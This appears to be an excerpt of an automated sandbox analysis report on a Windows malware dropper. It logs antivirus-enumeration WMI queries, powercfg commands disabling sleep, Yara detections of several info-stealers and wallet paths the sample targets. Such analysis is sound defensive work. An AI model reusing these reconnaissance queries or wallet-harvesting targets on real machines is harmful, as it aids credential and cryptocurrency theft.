Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_005411AA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

1_2_005411AA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00442040 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

1_2_00442040

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042DCB0 RtlGetVersion,GetVersionExA,

1_2_0042DCB0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2137478729.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, nnoSckkth0srkZiZ3BOPqSkN.exe, 00000009.00000002.2146186396.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2101043591.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, woZv82DGCV54SaaUFka2bYWX.exe, 0000000F.00000002.2151552413.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, GYi2x83ApCTB3_vjRj5FL48U.exe, 00000011.00000002.2127188178.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2137478729.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, nnoSckkth0srkZiZ3BOPqSkN.exe, 00000009.00000002.2146186396.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2101043591.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, woZv82DGCV54SaaUFka2bYWX.exe, 0000000F.00000002.2151552413.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, GYi2x83ApCTB3_vjRj5FL48U.exe, 00000011.00000002.2127188178.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 0000000E.00000002.3280362120.000000000142F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2414785317.0000000002C96000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2062981963.0000000000F22000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2168324378.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2169176803.0000000003885000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2618075944.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nnoSckkth0srkZiZ3BOPqSkN.exe PID: 3916, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 00000038.00000002.3246257379.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.3245803876.00000000026AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2388378578.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 5.2.2Su0FBbBo66AP291hju1uAp_.exe.3a05570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2780079788.000000000146C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: Electrum
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: \ElectronCash\wallets
Source: Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000000.2065831986.000000000087E000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: pF!qFr+blauncher-updaterjre\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)\exodus.walletMPC-BELedger Live\
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: \com.liberty.jaxx
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json\C
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.jsonfnc_
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: \Exodus\backup
